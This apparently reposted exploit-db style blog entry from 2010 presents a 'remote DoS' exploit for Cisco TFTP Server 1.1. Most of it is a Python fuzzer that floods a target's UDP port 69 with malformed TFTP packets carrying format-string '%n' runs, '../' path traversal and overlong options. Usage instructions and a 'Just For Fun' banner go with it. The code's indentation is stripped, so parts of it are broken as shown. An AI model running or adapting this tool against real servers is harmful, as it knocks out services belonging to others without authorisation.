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Saturday, March 27, 2010

[Cisco TFTP Server 1.1]

# Exploit Title: [Cisco TFTP Server 1.1]
# Date: [2010-03-25]
# Author: [_SuBz3r0_]
# Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html]
# Version: [1.1]
# Tested on: [XP SP3,Win2k3]
# CVE : [if exists]
# Code :
#Cisco TFTP Server v1.1 DoS
print ""
print "##############################################"
print "# _SuBz3r0_ #"
print "##############################################"
print ""
print "Cisco TFTP v1.1 Remote DoS"
print "Just For Fun"
print "tftp_fuzz.py [ip of server]"
print ""
print "Greetz:piloo le canari & MaX"
print "Credits to Ilja van Sprundel"
print "Tested on: French Windows Xp Sp3 fully Patched"
print ""
#!/usr/bin/python
# tftpd fuzzer by Ilja van Sprundel
# implements rfc 1350, 2090, 2347, 2348, 2349
#
# todo: - 1 option per packet
# - lots (>100) (small) options per packet
# - add better option support to OACK
# - client fuzzing ?
import os, socket, sys, struct, random
port = 69
type = ["netascii", "octet", "binary", "mail"]
asize = ["blkzise", "tsize"]
class fuzz:
def __init__(self):
""" """
def randstring(self, len):
thestring = ""
what = random.randint(0,5)
if what < 5:
for i in range(len):
char = chr(random.randint(1,255))
thestring += char
else:
thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
return thestring
def randbin(self, len):
thestring = ""
for i in range(len):
char = chr(random.randint(0,255))
thestring += char
return thestring
def fuzz_rw(self):
""" """
data = ""
if not random.randint(0,50):
return ""
if not random.randint(0,10):
if random.randint(0,1):
data = "../"
else:
howmany = random.randint(1,100)
data = "../" * howmany
data += self.randstring(random.randint(0,3000))
# no 0byte
if not random.randint(0,10):
return data
data += "\0"
# no mode
if not random.randint(0,100):
return data
if random.randint(0,5):
data += random.choice(type)
else:
data += self.randstring(random.randint(0,3000))
if not random.randint(0,10):
return data
data += "\0"
if not random.randint(0,10):
return data
options = random.randint(0,100)
if not random.randint(0,10):
breakloop = 1
breakit = random.randint(0, options)
else:
breakloop = 0
longarg = random.randint(0, options)
if not random.randint(0,10):
lowlimit = 16
options = options / 4
else:
lowlimit = 0
for i in range(options):
which = random.randint(lowlimit, 19)
if which < 16:
if longarg == i:
data += self.randstring(random.randint(0,3000))
else:
data += self.randstring(random.randint(0,100))
data += "\0"
data += self.randstring(random.randint(0,100))
if which == 16:
data += "multicast\0"
if not random.randint(0,5):
if random.randint(0,1):
data += self.randstring(random.randint(0,50))
else:
data += str(random.randint(0, 0xffffffff))
if which == 17 or which == 18:
data += random.choice(asize) + "\0"
if random.randint(0,10):
if random.randint(0,1):
uplimit = 65535
else:
uplimit = 0xffffffff
string = str(random.randint(0, uplimit))
if random.randint(0,1):
data += "-"
data += string
else:
data += self.randstring(random.randint(0,50))
if which == 19:
data += "timeout\0"
if random.randint(0,10):
which = random.randint(0,5)
if which < 4:
uplimit = 255
if which == 4:
uplimit = 65535
else:
uplimit = 0xffffffff
string = str(random.randint(0, uplimit))
if random.randint(0,1):
data += "-"
data += string
else:
data += self.randstring(random.randint(0,50))
if breakloop:
if i == breakit:
return data
data += "\0"
return data
def make_data(self):
""" """
which = random.randint(0,10)
if which < 6:
# read is more likely to be accepted then write
# hence we bias it towards reading !
if random.randint(0,2):
d = "\x00\x01"
else:
d = "\x00\x02"
d += self.fuzz_rw()
# do some tftpd's do something with this ???
elif which == 6:
d = "\x00\x03"
d += self.randbin(2)
d += self.randbin(random.randint(0,3000))
elif which == 7:
d = "\x00\x04"
d += self.randbin(2)
if not random.randint(0,10):
d += self.randbin(random.randint(0,3000))
elif which == 8:
d = "\x00\x05"
d += self.randbin(2)
d += self.randstring(random.randint(0,1000))
if random.randint(0,10):
d += "\0"
elif which == 9:
# lets do this later ....
d = "\x00\x06"
d += self.randbin(1000)
else:
if random.randint(0,2):
times = 512
else:
times = random.randint(512, 10000)
d = self.randbin(random.randint(0,times))
return d
def run(self):
""" """
packets = 0
try:
while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
da = self.make_data()
s.sendto(da, (host, port))
s.close()
os.write(1,".")
packets += 1
except KeyboardInterrupt:
print "\nPackets: " + str(packets)
if __name__ == '__main__':
if len(sys.argv) <= 1:
sys.exit(0)
host = sys.argv[1]
if len(sys.argv) >= 3:
port = sys.argv[2]
f = fuzz()
f.run()



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